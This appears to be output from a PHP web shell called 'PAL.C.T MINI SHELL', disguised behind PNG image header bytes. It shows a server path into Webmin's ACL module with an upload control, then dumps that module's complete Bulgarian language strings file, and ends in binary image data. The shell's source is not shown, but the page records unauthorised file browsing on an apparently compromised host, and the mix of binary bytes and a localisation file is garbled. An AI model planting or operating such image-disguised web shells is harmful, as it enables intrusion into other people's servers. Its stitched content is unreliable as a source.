php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/bg

index_title=Webmin потребители
index_user=Потребител
index_modules=Модули
index_create=Създаване на нов Webmin потребител
index_convert=Конвертиране на Unix към Webmin потребител
index_cert=Изискване на SSL сертификат
index_twofactor=Двуфакторна Идентификация
index_certmsg=Натиснете този бутон за да изискате SSL сертификат, който ще ви позволи защитено влизане в Webmin без необходимост от име и парола.
index_return=потребителски списък
index_none=Никой
index_edit=Промяна в модул ACL :
index_global=Глобален ACL
index_users=Webmin потребители
index_groups=Webmin групи
index_group=Група
index_nousers=Няма дефинирани променливи Webmin потребители.
index_nogroups=Няма дефинирани променливи Webmin групи.
index_gcreate=Създаване на нова Webmin група
index_members=Членове
index_modgroups=Модули от група $1
index_sync=Конфигуриране на Unix потребителска синхронизация
index_unix=Конфигуриране на Unix потребителска идентификация
index_sessions=Разглеждане на сесиите на логване
index_rbac=Настройване на RBAC
index_delete=Изтриване на избраните
index_joingroup=Добавяне към Група:
index_eulist=Грешка при показване на потребители : $1
index_eglist=Грешка при показване на групи : $1

edit_title=Промяна на Webmin потребител
edit_title2=Създаване на Webmin потребител
edit_readonly=Този потребител на Webmin не бива да бъде редактиран, тъй като се управлява от модула $1. <a href='$2'>Щракнете тук</a>, за да игнорирате това предупреждение и да редактирате потребителя - но имайте предвид, че ръчните промени може да бъдат презаписани отгоре!
edit_rights=Права за достъп на Webmin потребителя
edit_user=Име
edit_cloneof=Копиране на потребител на Webmin
edit_real=Истинско име
edit_group=Член на група
edit_pass=Парола
edit_same=Същата като в Unix
edit_lock=Отказ на всички пароли
edit_pam=PAM идентификация
edit_unix=Unix идентификация
edit_extauth=Външна програма за идентификация
edit_dont=Не променяй
edit_set=Промени на
edit_passlocked=Паролата не е променяна $1 дни - акаунтът е заключен!
edit_passmax=Паролата не е променяна $1 дни - трябва да бъде сменена при следващото влизане
edit_passold=Паролата е променена за последен път преди $1 дни
edit_passtoday=Паролата е била променена преди по-малко от ден
edit_modules=Модули
edit_clone=Клонирай
edit_twofactor=Двуфакторна идентификация
edit_twofactorprov=Използвай доставчик $1 с ID $2
edit_twofactorcancel=Изключи изискването за двуфакторна идентификация
edit_twofactornone=Още не е настроена
edit_twofactoradd=Включи Двуфакторна Идентификация За Потребител
edit_lang=Език
edit_notabs=Категоризиране на модулите?
edit_logout=Време за автоматично излизане поради неактивност
edit_mins=минути
edit_chars=букви
edit_minsize=Минимална дължина за парола
edit_nochange=Задължителни дни за смяна на паролата
edit_cert=Име на SSL сертификат
edit_none=Никой
edit_ips=Контрол на IP достъп
edit_all=Позволи от всички адреси
edit_allow=Позволи само от изброените адреси
edit_deny=Откажи само от изброените адреси
edit_ipdesc=IP контролът за достъп на потребителите работи по същия начин както глобалния IP контрол за достъп в конфигурационния модул на Webmin. Само ако потребител премине през глобалния контрол ще се извърши проверка и тук.
edit_skill=Ниво на умение
edit_risk=Ниво на риск
edit_risk_high=Супер потребител
edit_risk_medium=Админ потребител
edit_risk_low=Нормален потребител
edit_groupmods=(В добавка към модулите от група)
edit_euser=Нямате права за промяна на този потребител
edit_egone=Избраният потребител вече не съществува!
edit_ecreate=Нямате права за създаване на потребители
edit_theme=Лична тема
edit_themeglobal=От Webmin конфигурацията
edit_themedef=Стара Webmin тема
edit_overlay=Припокриване на персоналната тема
edit_overlayglobal=Няма - използвай подразбиращите се за темата
edit_log=Показване на логове
edit_selall=Избиране на всички
edit_invert=Обръщане на избраното
edit_hide=Скрий неизползваните
edit_switch=Превключи към Потребител
edit_return=Потребител на Webmin
edit_return2=Група на Webmin
edit_rbacdeny=RBAC режим на достъп
edit_rbacdeny0=RBAC контролира само избрани ACL-ове за модули
edit_rbacdeny1=RBAC контролира всички модули и ACL-ове
edit_global=Права за всички модули
edit_templock=Временно заключен
edit_temppass=Задължително промени при следващото влизане
edit_days=Разрешени дни от седмицата
edit_alldays=Всеки ден
edit_seldays=Само избраните дни ..
edit_hours=Разрешени времена на деня
edit_allhours=По всяко време
edit_selhours=От $1:$2 до $3:$4
edit_ui=Опции за потребителски интерфейс
edit_security=Опции за сигурност и лимити
edit_mods=Достъпни модули на Webmin
edit_modsg=Достъпни модули на Webmin (в добавка към тези от групата)
edit_proto=Тип сторидж
edit_proto_mysql=MySQL база данни
edit_proto_postgresql=PostgreSQL база данни
edit_proto_ldap=LDAP сървър
edit_proto_=Локални файлове

save_err=Грешка при запазване на потребител
save_ename='$1' не е валидно име на потребител
save_enamewebmin=Потребителското име 'webmin' е резервирано за вътрешна употреба
save_edup=Името '$1' вече съществува
save_eoverlay=Не може да бъде избрана надстройка на тема, освен ако темата не е
save_edeny=не можете сами да откажете на себе си достъп до Webmin потребителските модули
save_eos=Опцията за еднаква с тази на Unix парола не се поддържа от вашата операционна система.
save_emd5=Опцията за еднаква с тази на Unix парола не може да бъде използвана на система с MD5 криптиране
save_eunix=Unix потребителят '$1' не съществува
save_emod=Не можете да разрешавате достъп до модул '$1'
save_ecreate=Нямате права за създаване на потребител
save_euser=Нямате права за промяна на този потребител
save_ecolon=Паролите не могат да съдържат знака :
save_epass=Паролата не е валидна: $1
save_eself=Вашият настоящ IP адрес ($1) ще бъде забранен
save_epam=PAM идентификацията е недостъпна, тъй като <tt>Authen::PAM</tt> Perl модула не е инсталиран или не работи правилно.
save_epam2=Можете да използвате Webmin-овия Perl модул да <a href='$1'>свалите и инсталирате Authen::PAM</a> сега.
save_egroup=нямате права за добавяне към тази група
save_enone=Няма въведени адреси
save_enet='$1' не е валиден мрежови адрес
save_emask='$1' не е валидна мрежова маска
save_eip='$1' не е пълен IP или мрежови адрес
save_ehost=Грешка при откриване на IP адрес за '$1'
save_elogouttime=Липсваща или не-числова продължителност за автоматично излизане поради неактивност
save_eminsize=Липсваща или не-числова минимална дължина на парола
save_edays=Не са избрани разрешени дни
save_ehours=Липсващи или невалидни разрешени времена
save_ehours2=Началото на разрешен период от време трябва да бъде преди края му
save_etemp=Опцията за задължителна промяна на паролата при следващо влизане не може да се използва, ако не е включена възможността за <a href='$1'>предупреждаване на потребителите да въведат нови пароли</a>

delete_err=Грешка при изтриване на потребител
delete_eself=Не можете да изтриете себе си
delete_ecannot=Нямате права за изтриване на потребители
delete_euser=Нямате права за изтриване на този потребител
delete_eanonuser=Този потребител бива използван за анонимен достъп до модули

cert_title=Изискване на сертификат
cert_issue=Издаване на сертификат
cert_header=Детайли на новия сертификат
cert_msg=Тази форма ви позволява да заявите клиентски SSL сертификат, който ще бъде използван в бъдеще за да ви даде достъп до Webmin вместо вашето потребителско име и парола. Този начин е по-добре защитен, но тъй като идентификацията е автоматична, вие няма да можете да се идентифицирате като различен потребител при използване на сертификата.
cert_ebrowser=Webmin не знае как да издава клиентски сертификати за вашия браузър ( $1 )
cert_cn=Вашето име
cert_email=Email адрес
cert_ou=Департамент
cert_o=Организация
cert_sp=Област
cert_c=Код на държавата
cert_key=Големина на ключа
cert_done=Вашият сертификат за $1 бе генериран успешно.
cert_pickup=<a href='$1'>Кликнете тук за да вземете вашия сертификат и да го инсталирате на вашия браузър</a>
cert_install=Инсталиране на вашия сертификат в браузър
cert_ekey=Новия SSL ключ не се възприе от вашия браузер - може би той не поддържа  клиентски SSL сертификати.
cert_eca=Неуспешно настройване на утвърдител на сертификати : $1
cert_already=Предупреждение - вие вече използвате сертификата $1.
cert_etempdir=Невалиден сертификатен файл

acl_title=Контрол на достъп до модули
acl_title2=За $1 в $2
acl_title3=За група $1 в $2
acl_options=$1 опции на контрол за достъп
acl_config=Може да променя модулна конфигурация?
acl_reset=Върни към Пълен Достъп
acl_rbac=Да изтегля настройки за контрол на достъпа от RBAC?
acl_rbacyes=Да (с приоритет пред настройките по-долу)

acl_uall=Всички потребители
acl_uthis=Този потребител
acl_usel=Избраните потребители ..
acl_gr=Членове на $1
acl_users=Потребители които могат да бъдат променяни
acl_mods=Може да предоставя достъп до
acl_all=Всички модули
acl_own=Само неговите собствени модули
acl_sel=Избраните модули ..
acl_create=Може да създава нови потребители(users)?
acl_delete=Може да изтрива потребители?
acl_rename=Може да преименува потребители?
acl_acl=Може да променя контрола за достъп до модули?
acl_lang=Може да променя езика?
acl_chcert=Може да променя името на SSL сертификата?
acl_euser=Нямате права за промяна на ACL-а за този потребител
acl_egroup=Нямате права за промяна на групови ACL-и
acl_emod=Нямате права за промяна на ACL-и за този модул
acl_others=Може да вижда недостъпни модули?
acl_cert=Може да изисква сертификат?
acl_err=Грешка при запазване на контрола за достъп
acl_groups=Може да променя групи?
acl_gassign=Може да добавя потребител към групи
acl_gall=Всички групи
acl_gsel=Избраните ..
acl_gnone=Никоя
acl_perms=Новосъздадените потрбители получават
acl_perms_1=Същия контрол за достъп до модулите като създателя си
acl_perms_0=Контрол за достъп до модулите по подразбиране (неограничен)
acl_sync=Може да конфигурира потребителска синхронизация ?
acl_unix=Може да конфигурира unix идентификация?
acl_sessions=Може да вижда и прекратява регистрирани сесии?
acl_cats=Може да променя категоризацията?
acl_theme=Може да променя персоналната тема?
acl_ips=Може да променя контрола за достъп по IP?
acl_switch=Може да превключва към други потребители?
acl_times=Може да променя позволените времена за влизане?
acl_pass=Може да променя ограниченията за парола?
acl_sql=Може да конфигурира базите данни за потребители и групи?

log_modify=Променен Webmin потребител $1
log_rename=Преименуван Webmin потребител $1 на $2
log_create=Създаден Webmin потребител $1
log_clone=Клониран Webmin потребител $1 to $2
log_delete=Изтрит Webmin потребител $1
log_acl=Обновен достъп за $1 в $2
log_reset=Пре-инициализиран достъп за $1 в $2
log_cert=Издаден сертификат за потребител $1
log_modify_g=Променена Webmin група $1
log_rename_g=Преименувана Webmin група $1 на $2
log_create_g=Създадена Webmin група $1
log_delete_g=Изтрита Webmin група $1
log_switch=Превключено към Webmin потребител $1
log_delete_users=Изтрити $1 потребители на Webmin
log_delete_groups=Изтрити $ групи на Webmin
log_joingroup=$1 потребители на Webmin добавени към група $2
log_pass=Променени ограничения за пароли
log_unix=Променена идентификация за Unix потребители
log_sync=Променена синхронизацията с Unix потребители
log_sql=Сменена база данни за потребители и групи
log_twofactor=Потребител $1 абониран за доставчик на двуфакторна идентификация $2
log_onefactor=Изключена двуфакторна идентификация за потребител $1

gedit_ecannot=Нямате права за промяна на групите
gedit_title=Промяна на Webmin група
gedit_title2=Създаване на Webmin група
gedit_group=Име на група
gedit_rights=Права за достъп на групите в Webmin
gedit_modules=Модули на членовете
gedit_members=Потребители и групи членуващи тук
gedit_desc=Описание на група
gedit_egone=Избраната група вече не съществува!

gdelete_err=Грешка при изтриване на група
gdelete_ecannot=Вие нямате права за изтриване на групи
gdelete_euser=Не можете да изтриете собствената си група
gdelete_esub=Групи съдържащи подгрупи не могат да бъдат изтривани
gdelete_title=Изтриване на група
gdelete_desc=Сигурни ли сте че искате да изтриете група $1 и нейните членове $2 ?
gdelete_ok=Изтриване на група

gsave_err=Грешка при запазване на група
gsave_ename=Липсващо или невалидно име на група
gsave_enamewebmin=Името на група 'webmin' е резервирано за вътрешна употреба
gsave_edup=Това име на група вече съществува
gsave_edesc=Невалидно описание - знакът : не е разрешен

convert_title=Конвертиране на потребители
convert_ecannot=Нямате права да конвертирате Unix потрбител
convert_nogroups=Във вашата система няма дефинирани Webmin групи. Преди конвертиране трябва да имате създадена поне една група, за да можете да дефинирате права за конвертираните потребители.
convert_desc=Тази форма ви позволява да конвертирате съществуващи Unix потребители в Webmin потребители. Правата за всеки нов Webmin потребител ще бъдат определени от групата избрана по-долу.
convert_0=Всички потребители
convert_1=Само потребители
convert_2=Всички потребители освен
convert_3=Потребители от група
convert_4=Потребители с UID-и в рамките на
convert_group=Добави новите потребители към Webmin група
convert_sync2=Синхронизирай занапред паролата с Unix потребител?
convert_ok=Конвертирай сега
convert_err=Грешка при конвертирането на потребители
convert_eusers=Няма въведени потребители за конвертиране
convert_egroup=Unix групата не съществува
convert_emin=Невалиден минимален UID
convert_emax=Невалиден максимален UID
convert_ewgroup=Няма такава Webmin група
convert_ewgroup2=Нямате права за добавяне на нови юзери към тази група
convert_skip=$1 пропуснат
convert_exists=$1 вече съществува
convert_invalid=$1 не е валидно име на потребител на Webmin
convert_added=$1 добавен
convert_msg=Конвертиране на Unix потребители...
convert_user=Unix потребител
convert_action=Предприето действие
convert_done=$1 конвертирани потребители, $2 невалидни, $3 вече съществуват, $4 изключени.
convert_users=Потребители за конвертиране

sync_title=Unix потребителска синхронизация
sync_desc=Тази форма ви позволява да конфигурирате автоматичната синхронизация на Unix потребителите създадени през Webmin и потребителите в този модул.
sync_nogroups=Няма дефинирани Webmin групи на вашата система. Поне една група трябва да бъде създадена за да фиксирате правата на достъп за създадените потребители.
sync_when=Кога да синхронизира
sync_create=Създаване на Webmin потребител, когато е създаден Unix потребител.
sync_update=Обновяване на съвпадащ Webmin потребител, когато е обновен Unix потребител.
sync_delete=Изтриване на съвпадащ Webmin потребител, когато е изтрит Unix потребител.
sync_group=Добавяне на нови потребители в Webmin група
sync_unix=Задаване на паролата за нови потребители да е Unix идентификацията им
sync_ecannot=Нямате права за конфигуриране на потребителска синхронизация.

unix_title=Идентификация на Unix потребител
unix_err=Грешка при записа на Unix идентификация
unix_desc=Тази страница ви позволява да конфигурирате Webmin, който ще потвърждава опити за включване на потребител от списъка на системата и PAM. Това може да бъде полезно, ако имате голям брой съществуващи Unix потребители, на които искате да се даде достъп в Webmin.
unix_def=Позволи влизане само на Webmin потребителi
unix_sel=Разреши на изброените по-долу Unix потребители да влизат ..
unix_mode=Разреши
unix_mall=Всички потребители
unix_group=Членове на група..
unix_user=Позволи на всеки Unix потребител да влезе с правата на потребител
unix_who=Потребител или Група
unix_to=Като потребител на Webmin
unix_ecannot=Нямате права за конфигуриране на Unix потребителска идентификация
unix_epam=Unix идентификацията е недостъпна, тъй като <tt>Authen::PAM</tt> Perl модула не е инсталиран или не работи правилно.
unix_all=Разреши всички Unix потребители
unix_allow=Разреши само изброените Unix потребители
unix_deny=Откажи на изброените Unix потребители
unix_none=Няма въведени потребители
unix_euser='$1' не е валидно потребителско име
unix_egroup='$1' не е валидно име на група
unix_shells=Откажи на Unix потребителите, чиито shell-ове не са във файла
unix_eshells=Липсващ или несъществуващ файл с shell-ове
unix_restrict2=Допълнителни ограничения
unix_ewhogroup=Липсва група за разрешаване на ред $1
unix_ewhouser=Липсва потребител за разрешаване на ред $1
unix_enone=Не са въведени Unix потребители или групи, които да бъдат разрешени
unix_same=&lt;Същите потребител или група&gt;
unix_sudo=Разреши на потребители, които могат да стартират всякакви команди чрез <tt>sudo</tt>, да влизат като <tt>root</tt>
unix_pamany=Третирай влизанията, които се одобряват само от PAM, като $1
unix_esudo=Командата $1 не е инсталирана
unix_esudomod=Perl модулът $1, необходим за <tt>sudo</tt> идентификация, не е инсталиран
unix_header=Настройки за Unix идентификация на потребители
unix_utable=Разрешени потребители на Unix

sessions_title=Настоящи сесии
sessions_id=ID на сесията
sessions_user=Webmin потребител
sessions_login=Влязъл на
sessions_host=IP адрес
sessions_lview=Разглеждане на логове..
sessions_actions=Действия..
sessions_logouts=Покажи също излезлите сесии..
sessions_state=Състояние
sessions_this=Това влизане
sessions_in=Влязъл
sessions_out=Излязъл
sessions_kill=Прекъсване на връзката..

logins_title=Скорошни влизания в Webmin

hide_title=Скриване на Неизползваните Модули
hide_desc=Следните модули ще бъдат премахнати от списъка на достъпи за модул $1, тъй като съответните им сървъри не са инсталирани на вашата система ..
hide_ok=Скриване на Модулите Сега
hide_none=Няма нищо за скриване - $1 няма достъп до модули, чиито съответни сървъри не са инсталирани на вашата система.
hide_desc2=Имайте предвид, че тези модули няма автоматично да се появят обратно ако съответните сървъри бъдат инсталирани. Ще трябва да им дадете достъп ръчно, чрез този модул.
hide_clone=(Копиране на $1)

switch_euser=Нямате права да превключите към този потребител
switch_eold=Не беше открита налична сесия!

rbac_title=Настройване на RBAC
rbac_desc=Интеграцията на Webmin с RBAC дава възможност правата за потребителски модули и ACL-ове да бъдат получени от RBAC (Role Based Access Control, базиран на роли контрол за достъп) база данни, вместо от собствените конфигурационни файлове на Webmin. Ако поддръжката за RBAC е включена, правата на всеки потребител, за който опцията <b>RBAC контролира всички модули и ACL-ове</b> е включена, ще бъдат определяни от RBAC вместо от собствените настройки на Webmin.
rbac_esolaris=Към момента RBAC се поддържа единствено на Solaris, така че не може да се използва на тази $1 система.
rbac_eperl=Модулът на Perl $1, необходим за RBAC интеграция, не е инсталиран. <a href='$2'>Щракнете тук</a>, за да го инсталирате.
rbac_ecpan=Нямате достъп до страницата на Webmin за модули на Perl, за да инсталирате нужния ви модул $1 за RBAC интеграция.
rbac_ok=RBAC интеграцията е достъпна на тази система и може да бъде включена за всеки потребител поотделно на страницата Редактиране на Webmin потребител.

udeletes_err=Грешка при изтриването на потребители
udeletes_jerr=Грешка при добавянето на потребители към група
udeletes_enone=Няма избрани
udeletes_title=Изтриване на Потребители
udeletes_rusure=Сигурни ли сте, че искате да изтриете $1 избрани потребители? Всичките им настройки за контрол на достъпа и потребителска информация ще бъдат изгубени.
udeletes_users=Избрани потребители: $1
udeletes_ok=Изтриване на Потребители
udeletes_ereadonly=Един от избраните потребители е маркиран като недостъпен за редактиране

gdeletes_err=Грешка при изтриването на групи
gdeletes_title=Изтриване на Групи
gdeletes_rusure=Сигурни ли сте, че искате да изтриете $1 избрани групи, и $2 потребители, които те съдържат? Всички техни настройки за контрол на достъпа и потребителски данни ще бъдат изгубени.
gdeletes_users=Избрани групи: $1
gdeletes_ok=Изтриване на Групи

pass_title=Ограничения за Пароли
pass_ecannot=Нямате права за редактиране на ограничения за пароли
pass_header=Опции за изисквания към пароли за Webmin
pass_minsize=Минимална дължина за парола
pass_nominsize=Няма минимум
pass_regexps=Регулярни изрази, на които паролите трябва да съответстват
pass_regdesc=Свободно описание за регулярен израз
pass_maxdays=Дни преди парола да трябва да бъде сменена
pass_lockdays=Дни преди акаунт да бъде заключен заради несменена парола
pass_nomaxdays=Смяна не се изисква никога
pass_nolockdays=Акаунтът не се заключва никога
pass_nouser=Забрана за използване на потребителското име в парола?
pass_nodict=Забрана за използване на речникови думи като пароли?
pass_oldblock=Брой стари пароли, които да не бъдат допускани
pass_nooldblock=Няма ограничения срещу повторно използване на пароли
pass_days=дни
pass_pass=пароли
pass_err=Грешка при запис на ограниченията за пароли
pass_eminsize=Липсваща или не-цифрова минимална дължина за парола
pass_emaxdays=Липсващ или не-цифров брой дни преди смяна
pass_elockdays=Липсващ или не-числов брой дни преди акаунт да бъде заключен
pass_eoldblock=Липсващ или не-цифров брой стари пароли, които да бъдат отхвърляни

cpass_minsize=Трябва да бъде поне $1 букви дълга
cpass_notre=Съответства на неразрешена схема
cpass_re=Не съответства на изисквана схема
cpass_name=Съдържа потребителското име
cpass_dict=Дума от речника е
cpass_spellcmd=Никоя от командите $1 или $2, необходими за проверка на дума в речника, не е инсталирана
cpass_old=Стари пароли не могат да се използват отново

sql_title=База данни за Потребители и Групи
sql_ecannot=Нямате права да конфигурирате базата данни за потребители и групи
sql_header=Опции за интерфейс за база данни за потребители и групи
sql_host=Име на хост
sql_user=Потребителско име
sql_pass=Парола
sql_db=Име на базата данни
sql_ssl=Шифроване на връзката
sql_ssl0=Без
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Обектен клас за потребители
sql_groupclass=Обектен клас за групи
sql_euserclass=Липсващ или невалиден обектен клас за потребители
sql_egroupclass=Липсващ или невалиден обектен клас за групи
sql_none=Използване само на локални файлове за записване на потребители и групи
sql_mysql=Използване на MySQL база данни
sql_postgresql=Използване на PostgreSQL база данни
sql_ldap=Използване на LDAP сървър
sql_prefix=Създаване под DN
sql_addto0=Добави нови потребители към избраната по-горе база данни
sql_addto1=Добави нови потребители към локалните файлове
sql_emod=Липсва необходимият модул на Perl <tt>$1</tt>
sql_etable=Грешка при заявката към необходимата таблица $1 : $2
sql_eldapdn=Базовият LDAP DN $1 не бе открит
sql_eclass=Обектният клас на LDAP $1 не съществува в схемата на сървъра
sql_err=Грешка при записа на настройки за базата данни за потребители и групи
sql_ehost=Липсващо или не-резолвващо се име на хост
sql_euser=Липсващо или невалидно потребителско име (паузите не са разрешени)
sql_epass=Невалидна парола (паузите не са разрешени)
sql_edb=Невалидно име на база данни (паузите не са разрешени)
sql_eprefix=Липсващ или невалиден базов DN (паузите не са разрешени)
sql_eprefix2=Базовият DN изглежда невалиден - трябва да бъде подобен на <tt>dc=mydomain,dc=com</tt>
sql_title2=Създаване на липсващи паблици
sql_tableerr=Настройките за базата данни за потребители и групи са валисти, но някои таблици, необходими на Webmin, липсват : $1
sql_tableerr2=Натиснете бутона <b>Създай Таблиците</b> по-долу, за да бъдат създадени автоматично, или ръчно изпълнете SQL заявката по-долу.
sql_make=Създаване на Таблици
sql_title3=Създаване на липсващ DN
sql_dnerr=Настройките за база данни за потребители и групи са валидни, но LDAP DN-а, нужен на Webmin, липсва : $1
sql_dnerr2=Натиснете бутона <b>Създай DN</b> по-долу, за да го създадете автоматично, или го добавете към вашия LDAP сървър ръчно.
sql_makedn=Създаване на DN
sql_schema=Сваляне на LDAP Схема

make_title=Създаване на Таблици за Потребители и Групи
make_err=Грешка при създаване на таблиците за потребители и групи
make_exec=Изпълняване на SQL $1 ..
make_failed=.. не можа да се създаде : $1
make_done=.. готово
make_still=Проблеми бяха открити и след създаването на таблиците : $1

makedn_title=Създаване на LDAP DN
makedn_eoc=Не бяха открити класове за структурни обекти!
makedn_exec=Създаване на родителски DN $1 ..
makedn_failed=.. не можа да се създаде : $1
makedn_done=.. готово
makedn_still=Проблеми бяха открити и след създаването на DN : $1

schema_title=Сваляне на LDAP Схема
schema_desc=Преди Webmin да може да използва LDAP сървър, за да съхранява потребители и групи, трябва да бъде конфигуриран да използва схемата по-долу. Това обикновено се прави, като бъде записана дефиницията на схемата в <tt>/etc/ldap/schema</tt> или <tt>/etc/openldap/schema</tt> като файл с име <tt>webmin.schema</tt>, и след това да бъде конфигуриран сървърът да зареди този файл.
schema_download=Сваляне на файл със схема : <a href=$1>$1</a>

twofactor_err=Грешка при включването на двуфакторна идентификация
twofactor_euser=Вашият Webmin потребител не беше открит!
twofactor_title=Двуфакторна Идентификация
twofactor_disable=Изключване на Двуфакторната Идентификация
twofactor_already=Вашият Webmin логин вече има включена двуфакторна идентификация с доставчик $1 и акаунт ID $2.
twofactor_already2=Webmin логинът $3 вече има включена двуфакторна идентификация с доставчик $1 и акаунт ID $2.
twofactor_desc=Тази страница ви позволява да включите двуфакторна идентификация за вашия Webmin логин, използвайки <a href='$2' target=_blank>$1</a>. След активирането при влизане в Webmin ще ви бъде необходим допълнителен идентифициращ токен.
twofactor_desc2=Тази страница ви позволява да включите двуфакторна идентификация за Webmin логин $3, използвайки <a href='$2' target=_blank>$1</a>. След активирането при влизане в Webmin ще ви бъде необходим допълнителен идентифициращ токен.
twofactor_enable=Включване на Двуфакторната Идентификация
twofactor_header=Детайли по включването на двуфакторна идентификация
twofactor_enrolling=Включване за двуфакторна идентификация към доставчик $1 ..
twofactor_failed=.. включването не успя : $1
twofactor_done=.. готово. Вашият ID с този доставчик е <tt>$1</tt>.
twofactor_setup=Двуфакторната идентификация засега не е включена на тази система, но може да бъде чрез модула <a href='$1'>Конфигуриране на Webmin</a>.
twofactor_ebutton=Няма натиснат бутон!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`